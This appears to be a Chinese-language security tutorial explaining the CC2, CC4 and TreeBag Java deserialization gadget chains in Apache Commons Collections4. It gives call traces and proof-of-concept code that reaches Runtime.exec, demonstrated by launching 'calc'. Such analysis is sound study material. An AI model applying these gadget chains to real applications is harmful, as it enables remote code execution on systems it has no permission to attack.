Java安全中commons-collections4包下的两条反序列化链
字数 1123 2025-08-25 22:58:34
Apache Commons Collections4 反序列化漏洞分析
前言
Apache Commons Collections (CC) 是一个广泛使用的Java库,提供了许多有用的集合类和工具。在安全领域,CC库因其反序列化漏洞而闻名。本文主要分析commons-collections4包下的两条重要反序列化链:CC2和CC4。
CC6链在CC4中的修改
在commons-collections4版本中,LazyMap类的decorate方法被替换为lazyMap方法,但整体利用链仍然有效。
// 修改后的CC6 POC
Map innerMap = new HashMap();
Map outMap = LazyMap.lazyMap(innerMap, transformerChain); // 替换了原来的decorate方法
CC2链分析
链式调用流程
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
关键点
- PriorityQueue:在CC4.0版本中实现了Serializable接口,可以进行序列化
- TransformingComparator:其compare方法会调用transform方法进行转换
- 构造要求:PriorityQueue需要至少添加2个元素才能满足条件
POC实现
方式1:使用ChainedTransformer和InvokerTransformer
Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] { "calc" }),
};
ChainedTransformer chain = new ChainedTransformer(faketransformers);
Comparator comparator = new TransformingComparator(chain);
PriorityQueue priorityQueue = new PriorityQueue(2,comparator);
priorityQueue.add(1);
priorityQueue.add(2);
方式2:使用TemplatesImpl(适用于Shiro等限制数组的环境)
// 创建TemplatesImpl对象加载字节码
byte[] code = ClassPool.getDefault().get("ysoserial.vulndemo.Calc").toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_name","jiang");
setFieldValue(obj,"_class",null);
setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
setFieldValue(obj,"_bytecodes",new byte[][]{code});
// 使用无害的InvokerTransformer初始化
Transformer transformer = new InvokerTransformer("toString",null,null);
Comparator comparator = new TransformingComparator(transformer);
PriorityQueue priorityQueue = new PriorityQueue(2,comparator);
priorityQueue.add(obj);
priorityQueue.add(obj);
// 最后修改调用方法为newTransformer
setFieldValue(transformer,"iMethodName","newTransformer");
CC4链分析
CC4链是CC3和CC2的结合,使用InstantiateTransformer代替InvokerTransformer。
链式调用流程
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InstantiateTransformer.transform()
Constructor.newInstance()
TrAXFilter(Templates)
Templates.newTransformer()
TemplatesImpl.getTransletInstance()
Runtime.exec()
关键点
- TrAXFilter:可以直接传入Templates并调用newTransformer方法
- InstantiateTransformer:用于实例化TrAXFilter并触发漏洞
POC实现
// 创建TemplatesImpl对象加载字节码
byte[] code = ClassPool.getDefault().get("ysoserial.vulndemo.Calc").toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_name","RoboTerh");
setFieldValue(obj,"_class",null);
setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
setFieldValue(obj,"_bytecodes",new byte[][]{code});
// 创建ChainedTransformer实例
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{obj}),
};
ChainedTransformer chain = new ChainedTransformer(transformers);
Comparator comparator = new TransformingComparator(chain);
PriorityQueue priorityQueue = new PriorityQueue(2);
priorityQueue.add(1);
priorityQueue.add(2);
// 通过反射设置comparator
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(priorityQueue, comparator);
TreeBag & TreeMap利用链
链式调用流程
ObjectInputStream.readObject()
TreeBag.readObject()
AbstractMapBag.doReadObject()
TreeMap.put()
TreeMap.compare()
TransformingComparator.compare()
InvokerTransformer.transform()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
Runtime.exec()
关键点
- TreeBag:使用TreeMap存储数据,可以指定Comparator
- 反序列化过程:会调用Comparator的compare方法
POC实现
// 创建TemplatesImpl对象加载字节码
byte[] code = ClassPool.getDefault().get("ysoserial.vulndemo.Calc").toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_name","RoboTerh");
setFieldValue(obj,"_class",null);
setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
setFieldValue(obj,"_bytecodes",new byte[][]{code});
// 使用无害的InvokerTransformer初始化
InvokerTransformer transformer = new InvokerTransformer("toString", null, null);
TransformingComparator transformingComparator = new TransformingComparator(transformer);
// 创建TreeBag对象
TreeBag treeBag = new TreeBag(transformingComparator);
treeBag.add(obj);
// 更改调用方法
setFieldValue(transformer, "iMethodName", "newTransformer");
总结
- CC2链:基于PriorityQueue和TransformingComparator,通过InvokerTransformer直接调用危险方法
- CC4链:结合CC3的TrAXFilter和CC2的PriorityQueue,使用InstantiateTransformer触发漏洞
- TreeBag链:利用TreeBag/TreeMap的反序列化过程触发TransformingComparator
这些链在CC4版本中仍然有效,只是部分方法名称有所变化(如LazyMap.decorate变为LazyMap.lazyMap)。在实际利用时,需要根据目标环境选择合适的链,特别是在受限环境(如Shiro)中,需要考虑使用不依赖数组的TemplatesImpl方式。